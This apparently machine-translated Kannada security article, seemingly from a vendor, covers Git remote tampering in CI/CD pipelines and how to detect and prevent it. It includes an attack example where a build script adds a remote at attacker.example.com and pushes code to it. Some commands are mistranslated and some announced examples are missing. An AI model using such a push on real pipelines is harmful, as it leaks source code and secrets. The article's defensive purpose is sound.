ಸರಳ Git ಆಜ್ಞೆಯ ಹಿಂದಿನ ಗುಪ್ತ ಅಪಾಯ
ಹೆಚ್ಚಿನ ಡೆವಲಪರ್ಗಳಿಗೆ, git remote set-url origin ನಂತಹ ಆಜ್ಞೆಯನ್ನು ಚಲಾಯಿಸುವುದು Git ಸಂರಚನೆಯನ್ನು ನಿರ್ವಹಿಸುವಲ್ಲಿ ಇದು ಕೇವಲ ಒಂದು ಹೆಜ್ಜೆ ಎಂದರ್ಥ. CI ಸ್ಕ್ರಿಪ್ಟ್ಗಳು ಸಾಮಾನ್ಯವಾಗಿ git remote set-url, remote ಗಾಗಿ Git set url, ಅಥವಾ Git remote add to fetch ಅಥವಾ push code ನಂತಹ ಆಜ್ಞೆಗಳನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸುತ್ತವೆ. ಆದರೆ ಅಪಾಯ ಇಲ್ಲಿದೆ: ಆಕ್ರಮಣಕಾರರು ಆ ಸಂರಚನೆಯನ್ನು (ಸ್ಥಳೀಯವಾಗಿ ಅಥವಾ CI ನಲ್ಲಿ) ಹಾಳು ಮಾಡಿದರೆ, ಅವರು ನಿಮ್ಮ ಮೂಲವನ್ನು ದುರುದ್ದೇಶಪೂರಿತ ರೆಪೊಸಿಟರಿಯೊಂದಕ್ಕೆ ಮರುನಿರ್ದೇಶಿಸಬಹುದು, ರುಜುವಾತುಗಳನ್ನು ಪ್ರತಿಬಂಧಿಸಬಹುದು ಅಥವಾ ಪೂರೈಕೆ ಸರಪಳಿ ಮಾಲ್ವೇರ್ ಅನ್ನು ಇಂಜೆಕ್ಟ್ ಮಾಡಬಹುದು.
ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಹೇಗೆ ಬಳಸಲಾಗುತ್ತದೆ ಎಂಬುದರ ಉದಾಹರಣೆ:
# ಕಾನೂನುಬದ್ಧ ಬಳಕೆ
git ರಿಮೋಟ್ ಸೆಟ್-url ಮೂಲ https://github.com/org/project.git
⚠️ ಅಸುರಕ್ಷಿತ ಉದಾಹರಣೆ, ಶೈಕ್ಷಣಿಕ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಮಾತ್ರ. ಉತ್ಪಾದನೆಯಲ್ಲಿ ಬಳಸಬೇಡಿ.
ಸುರಕ್ಷಿತ ಆವೃತ್ತಿ, ಪಿನ್ ಮತ್ತು ರೆಪೊಸಿಟರಿ ಮೂಲವನ್ನು ಪರಿಶೀಲಿಸಿ
ಏಕೆ? ರಿಮೋಟ್ ಅನ್ನು ಆಕ್ರಮಣಕಾರರಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಡುವ ಹೋಸ್ಟ್ಗೆ ಬದಲಾಯಿಸಿದರೆ, ನಂತರದ ಪ್ರತಿಯೊಂದು git ಫೆಚ್/git ಪುಶ್ ದುರುದ್ದೇಶಪೂರಿತ ಕೋಡ್ ಅನ್ನು ಸೂಚಿಸುತ್ತದೆ. ಸಾಧ್ಯವಾದಾಗ ಹಾರ್ಡ್ಕೋಡ್ ವಿಶ್ವಾಸಾರ್ಹ ಮೂಲಗಳನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಮೌಲ್ಯೀಕರಿಸದ ಡೈನಾಮಿಕ್ URL ಗಳನ್ನು ತಪ್ಪಿಸುತ್ತದೆ.
ರಿಮೋಟ್ ಮ್ಯಾನಿಪ್ಯುಲೇಷನ್ ನಿರ್ಮಾಣವನ್ನು ಹೇಗೆ ರಾಜಿ ಮಾಡುತ್ತದೆ Pipeline
ಮಾರ್ಪಡಿಸಿದ Git ರಿಮೋಟ್ URL ಸ್ವಯಂಚಾಲಿತದಲ್ಲಿ ತೀವ್ರ ಪರಿಣಾಮಗಳನ್ನು ಬೀರಬಹುದು pipelineಸ್ಕ್ರಿಪ್ಟ್ಗಳನ್ನು ಸೂಚ್ಯವಾಗಿ ನಂಬಲಾಗುತ್ತದೆ.
ಉದಾಹರಣೆ ಸನ್ನಿವೇಶ:
- ಒಂದು CI ಸ್ಕ್ರಿಪ್ಟ್, ರೆಪೊಸಿಟರಿಗಳನ್ನು ಕ್ರಿಯಾತ್ಮಕವಾಗಿ ಪುನರ್ರಚಿಸಲು git ರಿಮೋಟ್ ಸೆಟ್-url ಅನ್ನು ಬಳಸುತ್ತದೆ.
- ಒಂದು ರಾಜಿ ಮಾಡಿಕೊಂಡ ಪರಿಸರ ವೇರಿಯೇಬಲ್ (ಉದಾ, ಟೋಕನ್ ಅಥವಾ ರೆಪೊ URL) ಅನ್ನು ಸ್ಕ್ರಿಪ್ಟ್ಗೆ ಇಂಜೆಕ್ಟ್ ಮಾಡಲಾಗುತ್ತದೆ.
- ಬಿಲ್ಡ್ ಕೋಡ್ ಅನ್ನು ದುರುದ್ದೇಶಪೂರಿತ ರೆಪೊಗೆ ತರುತ್ತದೆ ಅಥವಾ ತಳ್ಳುತ್ತದೆ.
- ದಾಳಿಕೋರರು ಹಿಂಬಾಗಿಲುಗಳನ್ನು ಅಥವಾ ಹಾಳಾದ ಅವಲಂಬನೆಗಳನ್ನು ಸೇರಿಸುತ್ತಾರೆ.
⚠️ ಅಸುರಕ್ಷಿತ ಉದಾಹರಣೆ, ಶೈಕ್ಷಣಿಕ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಮಾತ್ರ. ಉತ್ಪಾದನೆಯಲ್ಲಿ ಬಳಸಬೇಡಿ.
ಸುರಕ್ಷಿತ ಆವೃತ್ತಿ, ಬಳಸುವ ಮೊದಲು $REPO_URL ಅನ್ನು ಮೌಲ್ಯೀಕರಿಸಿ (ಶ್ವೇತಪಟ್ಟಿ / xygeni ಪರಿಶೀಲನೆ).
ಏಕೆ: ನಿರ್ವಹಿಸಲಾದ ಶ್ವೇತಪಟ್ಟಿಯ ವಿರುದ್ಧ ಒಳಬರುವ ರೆಪೊ URL ಗಳನ್ನು ಮೌಲ್ಯೀಕರಿಸಿ (ಅಥವಾ ಬಳಸಿ xygeni verify --git-origin) ಅವುಗಳ ಮೇಲೆ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಮೊದಲು. ಇದು ದಾಳಿಕೋರರು ಪರಿಸರ ವೇರಿಯಬಲ್ಗಳನ್ನು ಅತಿಕ್ರಮಿಸುವುದನ್ನು ತಡೆಯುತ್ತದೆ, ಅದನ್ನು ಮರುನಿರ್ದೇಶಿಸಲು pipelines.
ರಿಮೋಟ್ ಕಾನ್ಫಿಗರೇಶನ್ನಲ್ಲಿ ಅನಧಿಕೃತ ಬದಲಾವಣೆಗಳನ್ನು ಪತ್ತೆಹಚ್ಚಲಾಗುತ್ತಿದೆ
ರಿಮೋಟ್ ಅನ್ನು ಮಾರ್ಪಡಿಸಿದಾಗ Git ನಿಮಗೆ ಎಚ್ಚರಿಕೆ ನೀಡುವುದಿಲ್ಲ. ಪೂರ್ವಭಾವಿ ಮೇಲ್ವಿಚಾರಣೆ .git/config ಮತ್ತು ನಿರ್ಮಾಣ ಪೂರ್ವ ಸಮಗ್ರತೆಯ ಪರಿಶೀಲನೆಗಳು ಅಗತ್ಯ.
ಪ್ರಾಯೋಗಿಕ ಪತ್ತೆ ತಂತ್ರಗಳು
Git ಸಂರಚನೆಯನ್ನು ಪರಿಶೀಲಿಸಿ:
git remote -vಸುರಕ್ಷಿತ ಬೇಸ್ಲೈನ್ನಲ್ಲಿ ಸಂಗ್ರಹವಾಗಿರುವ ನಿರೀಕ್ಷಿತ URL ಗಳಿಗೆ ಔಟ್ಪುಟ್ ಅನ್ನು ಹೋಲಿಕೆ ಮಾಡಿ.
ಸ್ಥಿರೀಕರಿಸಿ
.git/configಸಮಗ್ರತೆ:sha256sum .git/configಚೆಕ್ಸಮ್ ಅನ್ನು ವಿಶ್ವಾಸಾರ್ಹ ಬೇಸ್ಲೈನ್ಗೆ ಹೋಲಿಕೆ ಮಾಡಿ.
CI-ಆಧಾರಿತ ದೃಢೀಕರಣ:
validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git
ಶೈಕ್ಷಣಿಕ ಟಿಪ್ಪಣಿ: ಲಾಗ್ಗಳಲ್ಲಿ ಅಥವಾ ಅಸುರಕ್ಷಿತ ಪರಿಸರದಲ್ಲಿ ದೀರ್ಘಕಾಲೀನ ರುಜುವಾತುಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಿದಾಗ ಸಮಗ್ರತೆ ಪರಿಶೀಲನೆಗಳು ಅಥವಾ ಪರಿಶೀಲನಾ ಆಜ್ಞೆಗಳನ್ನು ಚಲಾಯಿಸಬೇಡಿ. ಅಲ್ಪಕಾಲಿಕ ರುಜುವಾತುಗಳು, ಕಮಾನು ರಹಸ್ಯಗಳನ್ನು ಬಳಸಿ ಮತ್ತು ಸಾಧ್ಯವಾದಲ್ಲೆಲ್ಲಾ ಸವಲತ್ತು ಪಡೆದ ಬಳಕೆದಾರರಾಗಿ ಮೌಲ್ಯೀಕರಣ ಆಜ್ಞೆಗಳನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸುವುದನ್ನು ತಪ್ಪಿಸಿ.
ಪತ್ತೆ ಸಲಹೆ: ಅಂಗೀಕೃತವಲ್ಲದ ಡೊಮೇನ್ಗಳಿಗೆ ಸೂಚಿಸುವ ರಿಮೋಟ್ಗಳನ್ನು ಹುಡುಕಿ (ಅನಿರೀಕ್ಷಿತ .net, .io, IP ವಿಳಾಸಗಳು), ನಕಲು ರಿಮೋಟ್ ಹೆಸರುಗಳು, ಅಥವಾ ಮೌಲ್ಯೀಕರಣವಿಲ್ಲದೆ ರೆಪೊ URL ಗಳನ್ನು ನಿಯಂತ್ರಿಸುವ ಪರಿಸರ ವೇರಿಯೇಬಲ್ಗಳು. ಆರಂಭಿಕ ಪತ್ತೆಹಚ್ಚುವಿಕೆಯನ್ನು ತಡೆಯುತ್ತದೆ git set-url ಕಲುಷಿತಗೊಳಿಸುವ ನಿರ್ಮಾಣಗಳಿಂದ ಉಂಟಾಗುವ ಕುಶಲತೆ.
ಇದರೊಂದಿಗೆ ರೆಪೊಸಿಟರಿ ಮೂಲಗಳನ್ನು ಸುರಕ್ಷಿತಗೊಳಿಸುವುದು Guardrails ಮತ್ತು ಹ್ಯಾಶ್ ಮೌಲ್ಯೀಕರಣ
ತಡೆಗಟ್ಟುವಿಕೆ ಎಂದರೆ ನೀವು ಯಾವ ರೆಪೊಸಿಟರಿಗಳಿಂದ ನಿರ್ಮಿಸುತ್ತೀರಿ ಎಂಬುದರ ಮೇಲೆ ಕಟ್ಟುನಿಟ್ಟಿನ ನಿಯಂತ್ರಣಗಳನ್ನು ಜಾರಿಗೊಳಿಸುವುದು. Guardrails ಸಹಿ ಮಾಡುವಿಕೆ, ಹ್ಯಾಶ್ ಮೌಲ್ಯೀಕರಣ ಮತ್ತು CI ವೇರಿಯೇಬಲ್ಗಳನ್ನು ಯಾರು ಮಾರ್ಪಡಿಸಬಹುದು ಎಂಬುದನ್ನು ನಿರ್ಬಂಧಿಸುವುದು ಸೇರಿವೆ.
ರೆಪೊಸಿಟರಿ ಸಮಗ್ರತೆಗಾಗಿ ಸುರಕ್ಷಿತ ಅಭ್ಯಾಸಗಳು
ಸಾಧ್ಯವಾದಲ್ಲೆಲ್ಲಾ ರೆಪೊಸಿಟರಿ URL ಗಳನ್ನು ಪಿನ್ ಮಾಡಿ, ವಿಶ್ವಾಸಾರ್ಹ ಮೂಲಗಳ ಹಾರ್ಡ್ಕೋಡ್ ಅನ್ನು ಇರಿಸಿ:
ರೆಪೊಸಿಟರಿ ಹ್ಯಾಶ್ಗಳನ್ನು ಮೌಲ್ಯೀಕರಿಸಿ:
ನಿರ್ಮಿಸುವ ಮೊದಲು HEAD ನಿರೀಕ್ಷಿತ ಹ್ಯಾಶ್ಗೆ ಹೊಂದಿಕೆಯಾಗುತ್ತದೆಯೇ ಎಂದು ಪರಿಶೀಲಿಸಿ.
⚠️ ಅಸುರಕ್ಷಿತ ಉದಾಹರಣೆ, ಲಾಗ್ಗಳಲ್ಲಿ ಟೋಕನ್ಗಳನ್ನು ಮುದ್ರಿಸುವುದು (ಉತ್ಪಾದನೆಯಲ್ಲಿ ಬಳಸಬೇಡಿ).
ಸುರಕ್ಷಿತ ಆವೃತ್ತಿ, ವಾಲ್ಟ್ನಿಂದ ರಹಸ್ಯಗಳನ್ನು ಓದಿ, ಮತ್ತು ಎಂದಿಗೂ ಮುದ್ರಿಸಬೇಡಿ.
ಮಿನಿ ಪರಿಶೀಲನಾಪಟ್ಟಿ: ಸುರಕ್ಷಿತ Git ರಿಮೋಟ್ ನಿರ್ವಹಣೆ
- ಜಾರಿಗೊಳಿಸಿ ರಿಮೋಟ್ URL ಶ್ವೇತಪಟ್ಟಿ ಅಥವಾ ಪರಿಶೀಲನೆ.
- ನಿರ್ಮಾಣದ ಮೊದಲು .git/config ಸಮಗ್ರತೆಯನ್ನು ಮೌಲ್ಯೀಕರಿಸಿ.
- ಸಹಿ ಮಾಡಿರಬೇಕು commitಗಳು ಮತ್ತು ಟ್ಯಾಗ್ಗಳು.
- CI ಪರಿಸರ ವೇರಿಯೇಬಲ್ಗಳನ್ನು ಯಾರು ಮಾರ್ಪಡಿಸಬಹುದು ಎಂಬುದನ್ನು ನಿರ್ಬಂಧಿಸಿ.
- ಆಡಿಟ್ಗಾಗಿ git ರಿಮೋಟ್ ಸೆಟ್-url ಮತ್ತು git ರಿಮೋಟ್ ಆಡ್ನ ಲಾಗ್ ಎಕ್ಸಿಕ್ಯೂಶನ್ಗಳು.
Git ರಿಮೋಟ್ ಸೆಟ್ URL ಮೌಲ್ಯೀಕರಣವನ್ನು ಸಂಯೋಜಿಸುವುದು CI/CD Pipelines
ಸೇರಿಸಿ guardrails ಮತ್ತು ಆರಂಭಿಕ ಹಂತಗಳಲ್ಲಿ ದೂರಸ್ಥ ಕುಶಲತೆಯನ್ನು ನಿಲ್ಲಿಸಲು ಸ್ವಯಂಚಾಲಿತ ಪರಿಶೀಲನೆ pipeline.
ಗಾರ್ಡ್ರೈಲ್ ಉದಾಹರಣೆ: ನಕಲು ಅಥವಾ ಅನಧಿಕೃತ ರಿಮೋಟ್ಗಳನ್ನು ಪರಿಶೀಲಿಸಿ
ಹಂಚಿಕೆಯ ಪರಿಸರದಲ್ಲಿ ಪೂರೈಕೆ ಸರಪಳಿ ಟ್ಯಾಂಪರಿಂಗ್ ವಿರುದ್ಧ ಗಟ್ಟಿಯಾಗುವುದು
ಹಂಚಿಕೆಯ ರನ್ನರ್ಗಳು ಮತ್ತು ಅನುಮತಿಸುವ ರಿಮೋಟ್ ಕಮಾಂಡ್ಗಳು ಹೆಚ್ಚಿನ ಅಪಾಯವನ್ನು ಹೊಂದಿವೆ. ಕೆಲಸದ ರನ್ಟೈಮ್ನಲ್ಲಿ ಪರಿಶೀಲಿಸದ ರಿಮೋಟ್ಗಳನ್ನು ಸೇರಿಸುವ ಕಮಾಂಡ್ಗಳನ್ನು ತಪ್ಪಿಸಿ.
⚠️ ಅಸುರಕ್ಷಿತ ಉದಾಹರಣೆ, ಆಕ್ರಮಣಕಾರರ ರಿಮೋಟ್ ಅನ್ನು ಸೇರಿಸುವುದು (ಬಳಸಬೇಡಿ).
ಸುರಕ್ಷಿತ ಆವೃತ್ತಿ, ಮೌಲ್ಯೀಕರಿಸಿದ ಡೊಮೇನ್ಗಳಿಗೆ ನಿರ್ಬಂಧಿಸಿ ಮತ್ತು ಅನುಮೋದಿತ ಮೂಲಗಳಿಗೆ ಮಾತ್ರ –set-url ಬಳಸಿ.
ಗಮನಿಸಿ: ಅಲ್ಪಕಾಲಿಕ ಓಟಗಾರರಿಗೆ ಆದ್ಯತೆ ನೀಡಿ ಮತ್ತು ಕೆಲಸಗಳ ನಡುವೆ ನಿರಂತರ ಹಂಚಿಕೆಯ ಸಂಗ್ರಹಗಳನ್ನು ತಪ್ಪಿಸಿ.
ರನ್ನರ್ಗಳ ಕುರಿತು ಟಿಪ್ಪಣಿ: ಪ್ರತಿ ಕೆಲಸಕ್ಕೂ ಮರುಸೃಷ್ಟಿಸಲಾದ ಅಲ್ಪಕಾಲಿಕ, ಪ್ರತ್ಯೇಕ ರನ್ನರ್ಗಳನ್ನು ಬಳಸಿ. ಹಂಚಿದ ಡಿಸ್ಕ್ಗಳು ಅಥವಾ ಕ್ಯಾಶ್ಗಳು ಬಿಲ್ಡ್ಗಳಾದ್ಯಂತ ಟ್ಯಾಂಪರ್ ಆದ ಫೈಲ್ಗಳನ್ನು ಉಳಿಸಿಕೊಳ್ಳಬಹುದು.
ರಿಮೋಟ್ ವ್ಯಾಲಿಡೇಶನ್ಗಾಗಿ Git ಸೆಟ್ URL ಅನ್ನು ಸಂಯೋಜಿಸುವುದು CI/CD Pipelines
git ರಿಮೋಟ್ ಸೆಟ್-url ಬಳಕೆಯನ್ನು ಸುರಕ್ಷಿತಗೊಳಿಸುವುದು ಕೇವಲ ಹಸ್ತಚಾಲಿತ ಪರಿಶೀಲನೆಗಳ ಬಗ್ಗೆ ಅಲ್ಲ; ಇದು ಯಾಂತ್ರೀಕೃತಗೊಂಡ ಬಗ್ಗೆ. ಆಧುನಿಕ DevSecOps ಕೆಲಸದ ಹರಿವುಗಳು ನೇರವಾಗಿ ಮೌಲ್ಯೀಕರಣವನ್ನು ಸಂಯೋಜಿಸಬಹುದು CI/CD pipelines.
ಉದಾಹರಣೆ: ಸ್ವಯಂಚಾಲಿತ ರಿಮೋಟ್ ಸಮಗ್ರತೆ ಮೌಲ್ಯಮಾಪನ
ಈ ಸಂರಚನೆಯು ಯಾವುದೇ ನಿರ್ಮಾಣ ಅಥವಾ ನಿಯೋಜನೆ ನಡೆಯುವ ಮೊದಲು, pipeline ಮೌಲ್ಯೀಕರಿಸುತ್ತದೆ:
- ರೆಪೊಸಿಟರಿ URL ನಿರೀಕ್ಷಿತ ಮೌಲ್ಯಕ್ಕೆ ಹೊಂದಿಕೆಯಾಗುತ್ತದೆ.
- Commit ಸಹಿಗಳು ಮಾನ್ಯವಾಗಿವೆ.
- git add remote ಬಳಸಿ ಯಾವುದೇ ಅನಿರೀಕ್ಷಿತ ರಿಮೋಟ್ಗಳನ್ನು ಸೇರಿಸಲಾಗಿಲ್ಲ.
ಹೆಚ್ಚುವರಿ CI ನಿಯಂತ್ರಣಗಳು
- Pre-commit hooks: ಯಾವುದೇ ಅನಧಿಕೃತವಾಗಿಲ್ಲ ಎಂದು ಪರಿಶೀಲಿಸಿ git ರಿಮೋಟ್ ಸೆಟ್-url ಆಜ್ಞೆಗಳು ಅಸ್ತಿತ್ವದಲ್ಲಿವೆ commits.
- ನೀತಿ-ಕೋಡ್ ಜಾರಿಯಂತೆ: ಆವೃತ್ತಿ-ನಿಯಂತ್ರಿತ ನೀತಿಗಳ ಭಾಗವಾಗಿ ಅನುಮತಿಸಲಾದ ಮೂಲಗಳನ್ನು ವ್ಯಾಖ್ಯಾನಿಸಿ.
- ಅವಲಂಬನೆ ಪ್ರತಿಬಿಂಬ: ನೇರ ಇಂಟರ್ನೆಟ್ ಮೂಲಗಳ ಬದಲಿಗೆ ಪರಿಶೀಲಿಸಿದ ಆಂತರಿಕ ಕನ್ನಡಿಗಳಿಂದ ಕೋಡ್ ಅನ್ನು ಎಳೆಯಿರಿ.
ಈ ಪರಿಶೀಲನೆಗಳನ್ನು ಸ್ವಯಂಚಾಲಿತಗೊಳಿಸುವುದು ತಪ್ಪು ಸಂರಚನೆಗಳನ್ನು ತಡೆಯುವುದಲ್ಲದೆ, ಕೋಡ್ ರವಾನೆಯಾಗುವ ಮೊದಲು ಪೂರೈಕೆ ಸರಪಳಿಯನ್ನು ಟ್ಯಾಂಪರಿಂಗ್ ಮಾಡುವ ಪ್ರಯತ್ನಗಳನ್ನು ಪತ್ತೆ ಮಾಡುತ್ತದೆ.
ಹಂಚಿಕೆಯ ಪರಿಸರದಲ್ಲಿ ಪೂರೈಕೆ ಸರಪಳಿ ಟ್ಯಾಂಪರಿಂಗ್ ವಿರುದ್ಧ ಗಟ್ಟಿಯಾಗುವುದು
ಹಂಚಿಕೆಯ ರನ್ನರ್ಗಳು ಅಥವಾ ಅಲ್ಪಕಾಲಿಕ CI ಪರಿಸರಗಳು ಹೆಚ್ಚುವರಿ ಅಪಾಯಗಳನ್ನು ಪರಿಚಯಿಸುತ್ತವೆ. ಬಹು ಬಿಲ್ಡ್ಗಳು ಸಂಪನ್ಮೂಲಗಳನ್ನು ಹಂಚಿಕೊಂಡಾಗ, git ರಿಮೋಟ್ ಸೆಟ್-url ಅಥವಾ git add ರಿಮೋಟ್ ಆಜ್ಞೆಗಳನ್ನು ಸೆಷನ್ಗಳಾದ್ಯಂತ ದುರುದ್ದೇಶಪೂರಿತ ರಿಮೋಟ್ಗಳನ್ನು ಮುಂದುವರಿಸಲು ಶಸ್ತ್ರಸಜ್ಜಿತಗೊಳಿಸಬಹುದು.
ಸಾಮಾನ್ಯ ದಾಳಿಯ ಸನ್ನಿವೇಶಗಳು
ರಾಜಿ ಮಾಡಿಕೊಂಡ ಬಿಲ್ಡ್ ಸ್ಕ್ರಿಪ್ಟ್ ಆಕ್ರಮಣಕಾರರ ರೆಪೊಸಿಟರಿಗೆ ಕೋಡ್ ಅನ್ನು ತಳ್ಳಲು ಹೊಸ ರಿಮೋಟ್ ಅನ್ನು ಸೇರಿಸುತ್ತದೆ:
git ರಿಮೋಟ್ ಬ್ಯಾಕಪ್ ಸೇರಿಸಿ https://attacker.example.com/repo.git
git ಪುಶ್ ಬ್ಯಾಕಪ್ ಮುಖ್ಯ
- ಅದೇ CI ಏಜೆಂಟ್ ಮೇಲೆ ಚಾಲನೆಯಲ್ಲಿರುವ ಮತ್ತೊಂದು ಯೋಜನೆಯು ಈ ಕಲುಷಿತ ಸ್ಥಿತಿಯಿಂದ ತರುತ್ತದೆ.
- ಟೋಕನ್ಗಳು ಅಥವಾ ಬಿಲ್ಡ್ ಆರ್ಟಿಫ್ಯಾಕ್ಟ್ಗಳಂತಹ ಸೂಕ್ಷ್ಮ ಡೇಟಾ ಅನಧಿಕೃತ ಪುಶ್ಗಳ ಮೂಲಕ ಸೋರಿಕೆಯಾಗುತ್ತದೆ.
ಗಟ್ಟಿಯಾಗಿಸುವ ಕ್ರಮಗಳು
- ಅಲ್ಪಕಾಲಿಕ ಓಟಗಾರರು: ಪ್ರತಿ ನಿರ್ಮಾಣದ ನಂತರ CI ಪರಿಸರಗಳನ್ನು ಮರುಹೊಂದಿಸಿ.
- ನೆಟ್ವರ್ಕ್ ಪ್ರತ್ಯೇಕತೆ: ಅನುಮೋದಿತ ಡೊಮೇನ್ಗಳಿಗೆ ಹೊರಹೋಗುವ ಟ್ರಾಫಿಕ್ ಅನ್ನು ನಿರ್ಬಂಧಿಸಿ.
- ಕನಿಷ್ಠ ಸವಲತ್ತು: Git ಕಾರ್ಯಾಚರಣೆಗಳಿಗೆ ಅನುಮತಿಗಳನ್ನು ಮಿತಿಗೊಳಿಸಿ pipelines.
- ಕಲಾಕೃತಿ ಸಹಿ: ಎಲ್ಲಾ ಬಿಲ್ಡ್ ಔಟ್ಪುಟ್ಗಳನ್ನು ಕ್ರಿಪ್ಟೋಗ್ರಾಫಿಕ್ ಸಹಿ ಮಾಡಲಾಗಿದೆ ಮತ್ತು ಪರಿಶೀಲಿಸಲಾಗಿದೆ ಎಂದು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳಿ.
ಪ್ರತ್ಯೇಕತೆ, ಮೌಲ್ಯೀಕರಣ ಮತ್ತು ಮೇಲ್ವಿಚಾರಣೆಯನ್ನು ಸಂಯೋಜಿಸುವ ಮೂಲಕ, ತಂಡಗಳು ರಿಮೋಟ್ ಮ್ಯಾನಿಪ್ಯುಲೇಷನ್ಗಾಗಿ git set url ಅನ್ನು ಬಳಸಿಕೊಳ್ಳುವ ದಾಳಿಗಳನ್ನು ತಟಸ್ಥಗೊಳಿಸಬಹುದು.
ರೆಪೊಸಿಟರಿ ಟ್ರಸ್ಟ್ ಅನ್ನು ಮೌಲ್ಯೀಕರಿಸಿ, ಮೇಲ್ವಿಚಾರಣೆ ಮಾಡಿ ಮತ್ತು ಸ್ವಯಂಚಾಲಿತಗೊಳಿಸಿ
ದುರುಪಯೋಗಪಡಿಸಿಕೊಂಡ ಒಂದೇ ಒಂದು git ರಿಮೋಟ್ set-url ಅಥವಾ ಪರಿಶೀಲಿಸದ git add remote ನಿಮ್ಮ ಸಂಪೂರ್ಣ ನಿರ್ಮಾಣ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಆಕ್ರಮಣಕಾರ-ನಿಯಂತ್ರಿತ ರೆಪೊಸಿಟರಿಗೆ ಮೌನವಾಗಿ ಮರುನಿರ್ದೇಶಿಸಬಹುದು. DevOps ನಲ್ಲಿ ಉತ್ಪಾದಕತೆ ಮತ್ತು ರಾಜಿ ನಡುವಿನ ರೇಖೆಯು ಎಂದಿಗಿಂತಲೂ ತೆಳುವಾಗಿದೆ ಮತ್ತು ಸಾಫ್ಟ್ವೇರ್ ಪೂರೈಕೆ ಸರಪಳಿ ದಾಳಿಗಳು ಅದನ್ನು ನಿಖರವಾಗಿ ಬಳಸಿಕೊಳ್ಳಿ.
ನಿಮ್ಮ ಮೇಲಿನ ನಂಬಿಕೆಯನ್ನು ಉಳಿಸಿಕೊಳ್ಳಲು pipelines:
- ರೆಪೊಸಿಟರಿ ಮೂಲಗಳನ್ನು ನಿರಂತರವಾಗಿ ಮೌಲ್ಯೀಕರಿಸಿ.
- ಜಾರಿಗೊಳಿಸಿ commit ಮತ್ತು ಕಲಾಕೃತಿಗೆ ಸಹಿ ಹಾಕುವುದು.
- ಸ್ವಯಂಚಾಲಿತಗೊಳಿಸಿ ಪ್ರತಿ ಹಂತದಲ್ಲೂ ಸಮಗ್ರತೆಯ ಪರಿಶೀಲನೆಗಳು CI/CD.
ಪ್ಲಾಟ್ಫಾರ್ಮ್ಗಳು ಹಾಗೆ ಕ್ಸಿಜೆನಿ ದುರುದ್ದೇಶಪೂರಿತ ರಿಮೋಟ್ಗಳು ಕೋಡ್ ಅನ್ನು ನಿಯೋಜಿಸಲು ಅವಕಾಶವನ್ನು ಪಡೆಯುವ ಮೊದಲು, DevSecOps ತಂಡಗಳು ರಿಮೋಟ್ ತಪ್ಪು ಸಂರಚನೆಗಳನ್ನು ಪತ್ತೆಹಚ್ಚಲು, ರೆಪೊಸಿಟರಿ ಟ್ರಸ್ಟ್ ಗಡಿಗಳನ್ನು ಮೇಲ್ವಿಚಾರಣೆ ಮಾಡಲು ಮತ್ತು Git ದುರುಪಯೋಗದಿಂದ ಉಂಟಾಗುವ ಪೂರೈಕೆ ಸರಪಳಿ ಅಪಾಯಗಳನ್ನು ನಿರ್ಬಂಧಿಸಲು ಸಹಾಯ ಮಾಡುತ್ತದೆ.
ನಿಮ್ಮ ಕೆಲಸದ ಹರಿವನ್ನು ನಂಬಿರಿ, ಆದರೆ ನಿಮ್ಮ ಮೂಲವನ್ನು ಪರಿಶೀಲಿಸಿ. ಈ ರೀತಿಯಾಗಿ ನೀವು git ರಿಮೋಟ್ ಸೆಟ್-url ಅನ್ನು ನಿಮ್ಮ ಮುಂದಿನ ಭದ್ರತಾ ಉಲ್ಲಂಘನೆಯಾಗದಂತೆ ತಡೆಯುತ್ತೀರಿ.





